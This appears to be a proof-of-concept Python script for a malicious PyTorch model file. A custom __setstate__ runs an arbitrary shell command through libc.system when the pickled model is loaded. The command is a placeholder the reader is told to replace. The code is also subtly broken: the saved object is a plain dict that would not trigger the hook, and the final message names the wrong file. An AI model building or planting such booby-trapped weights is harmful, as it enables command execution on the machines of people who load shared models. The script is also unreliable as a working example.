model_dict.py

import torch
import torch.nn as nn
import json
import ctypes

class MyModel(nn.Module):
    def __init__(self):
        super(MyModel, self).__init__()
        self.dummy_layer = nn.Linear(10, 10)  # Dummy layer for example

    def forward(self, x):
        return self.dummy_layer(x)

    def __setstate__(self, state):
        super().__setstate__(state)
        # Extract and execute the command from state
        command = state.get('command')
        if command:
            libc = ctypes.CDLL("libc.so.6")
            result = libc.system(command.encode('utf-8'))
            print(f"Command '{command}' executed with result code {result}")

# Create an instance of the model
model = MyModel()

# Define command to execute upon loading
command = "ls"  # Replace with your command

# Save the model's state dictionary with command metadata
state = {
    'model_state': model.state_dict(),
    'command': command
}

# Save state to a .bin file
torch.save(state, 'pytorch_model.bin')

print("Model and command metadata saved to 'model_with_command.bin'")